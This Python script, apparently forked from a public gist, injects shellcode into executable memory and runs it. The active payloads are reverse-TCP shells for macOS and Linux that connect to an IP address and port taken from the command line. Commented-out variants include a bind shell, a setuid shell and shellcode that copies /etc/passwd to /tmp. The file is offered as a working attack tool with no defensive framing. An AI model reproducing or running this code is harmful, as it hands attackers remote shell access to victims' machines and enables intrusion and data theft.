#!/usr/bin/env python
# fork from https://gist.githubusercontent.com/Und3rf10w/b2d4aa07856ab6bfadce86f19e41e38f/raw/ffeff225f1a7494c398953ea5d697f924a5ad4db/Sektor7_inmemory_linux_shellcode_injection.py
import binascii
import ctypes
import platform
import sys
from ctypes import (CDLL, c_void_p, c_size_t, c_int, c_long,
                    memmove, CFUNCTYPE, cast, pythonapi)
from ctypes.util import (find_library)
from sys import exit

libc = CDLL(find_library('c'))

# void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
mmap = libc.mmap
mmap.argtypes = [c_void_p, c_size_t, c_int, c_int, c_int, c_size_t]
mmap.restype = c_void_p

# munmap to destroy the machine code block after we're done with it.
munmap = libc.munmap
munmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t]
munmap.restype = ctypes.c_int

# mprotect call to mark the region as readable, executable, writable.
# If we wanted to, we could have made it writable as well,
# but some systems will refuse to execute writable memory.
mprotect = libc.mprotect
mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
mprotect.restype = ctypes.c_int

# Set up sysconf
sysconf = libc.sysconf
sysconf.argtypes = [ctypes.c_int]
sysconf.restype = ctypes.c_long

SHELLCODE = '\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x31\xd2\x48\x83\xc2\x15\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31' \
    '\xff\x0f\x05\xe8\xdd\xff\xff\xff\x45\x78\x20\x6e\x69\x68\x69\x6c\x6f\x20\x6e\x69\x68\x69\x6c\x20\x66\x69\x74\x21\x0a'

MAP_PRIVATE = 0x0002
PROT_EXEC = 0x04
PROT_NONE = 0x00
PROT_READ = 0x01
PROT_WRITE = 0x02
MAP_FAILED = -1  # voidptr actually
ENOMEM = -1

if len(sys.argv) == 3:
    IP_ADDR = str(sys.argv[1]).split('.')
    PORT = sys.argv[2]
else:
    IP_ADDR = '127.0.0.1'.split('.')
    PORT = 4444
    
IP_ADDR = '{:02x}{:02x}{:02x}{:02x}'.format(*map(int, IP_ADDR))
PORT = '{:02x}'.format(int(PORT))

if sys.platform.startswith("darwin"):
    _SC_PAGESIZE = 29
    MAP_ANONYMOUS = 0x1000

    # OSX/x64 - execve(/bin/sh) + Null-Free Shellcode (34 bytes) - Csaba Fitzl, @theevilbit
    # SHELLCODE = '\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05'

    # Apple macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) - Ken Kitahara
    # SHELLCODE = '\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\xb0\x02\x48\xc1\xc8\x28\x49\x89\xc0\xb0\x61\x0f\x05\x48\xc7\xc6\xf0\xfd\xee\xa3\x48\xf7\xde\x56\x54\x5e\x48\x89\xc7\x80\xf2\x10\x4c\x89\xc0\xb0\x68\x0f\x05\x48\x31\xf6\x40\xb6\x02\x4c\x89\xc0\xb0\x6a\x0f\x05\x48\x31\xf6\x48\x31\xd2\x4c\x89\xc0\xb0\x1e\x0f\x05\x48\x89\xc7\x40\xb6\x03\x4c\x89\xc0\xb0\x5a\x40\x80\xee\x01\x0f\x05\x48\x85\xf6\x75\xf0\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x4c\x89\xc0\xb0\x3b\x0f\x05'

    # osx x64 reverse tcp shellcode (131 bytes) - Jacob Hammack
    SHELLCODE = '\x41\xB0\x02\x49\xC1\xE0\x18\x49\x83\xC8\x61\x4C\x89\xC0\x48\x31\xD2\x48\x89\xD6\x48\xFF\xC6\x48\x89\xF7\x48\xFF\xC7\x0F\x05\x49\x89\xC4\x49\xBD\x01\x01{0}{1}\x41\xB1\xFF\x4D\x29\xCD\x41\x55\x49\x89\xE5\x49\xFF\xC0\x4C\x89\xC0\x4C\x89\xE7\x4C\x89\xEE\x48\x83\xC2\x10\x0F\x05\x49\x83\xE8\x08\x48\x31\xF6\x4C\x89\xC0\x4C\x89\xE7\x0F\x05\x48\x83\xFE\x02\x48\xFF\xC6\x76\xEF\x49\x83\xE8\x1F\x4C\x89\xC0\x48\x31\xD2\x49\xBD\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x49\xC1\xED\x08\x41\x55\x48\x89\xE7\x48\x31\xF6\x0F\x05'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

    # OSX/Intel - setuid shell x86_64 - 51 bytes - Dustin Schultz
    # SHELLCODE = '\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68'

    # SHELLCODE = '\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x64\x61\x74\x65'


elif sys.platform.startswith("linux"):
    _SC_PAGESIZE = 30
    MAP_ANONYMOUS = 0x20

    if platform.machine() == 'x86_64':
        # Reverse TCP shell - 118 bytes - Russell Willis
        SHELLCODE = '\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02{0}\xc7\x44\x24\x04{1}\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

        # Reads data from /etc/passwd to /tmp/outfile - 118 bytes - Chris Higgins
        #SHELLCODE = '\x48\x31\xc0\xb0\x02\x48\x31\xff\xbb\x73\x77\x64\x00\x53\x48\xbb\x2f\x65\x74\x63\x70\x61\x73\x53\x48\x8d\x3c\x24\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x66\xba\xff\xff\x0f\x05\x49\x89\xc0\x48\x89\xe0\x48\x31\xdb\x53\xbb\x66\x69\x6c\x65\x53\x48\xbb\x2f\x74\x6d\x70\x6f\x75\x74\x53\x48\x89\xc3\x48\x31\xc0\xb0\x02\x48\x8d\x3c\x24\x48\x31\xf6\x6a\x66\x66\x5e\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x01\x48\x8d\x33\x48\x31\xd2\x4c\x89\xc2\x0f\x05'

    else:
        # Shell Reverse TCP Shellcode - 74 bytes - Julien Ahrens
        # SHELLCODE = '\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68{1}\x66\x68{0}\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

        # Reverse TCP bind shell - 92 bytes - Russell Willis
        # SHELLCODE = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68{1}\x66\x68{0}\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

        # Tiny Shell Reverse TCP - 67 bytes - Geyslan G. Bem
        SHELLCODE = '\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68{1}\x66\x68{0}\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

        # Shell Reverse TCP Shellcode - 72 bytes - Geyslan G. Bem
        # SHELLCODE = '\x68{1}\x5e\x66\x68{0}\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce'.format(binascii.unhexlify(PORT), binascii.unhexlify(IP_ADDR))

else:
    raise RuntimeError("Unsupported platform")

#page_size = pythonapi.getpagesize()
page_size = sysconf(_SC_PAGESIZE)
sc_size = len(SHELLCODE)
mem_size = page_size * (1 + sc_size / page_size)

cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
            PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)

if cptr == ENOMEM:
    exit('mmap() memory allocation error')

if sc_size <= mem_size:
    memmove(cptr, SHELLCODE, sc_size)
    sc = CFUNCTYPE(c_void_p, c_void_p)
    call_sc = cast(cptr, sc)
    call_sc(None)
    munmap(cptr, sc_size)
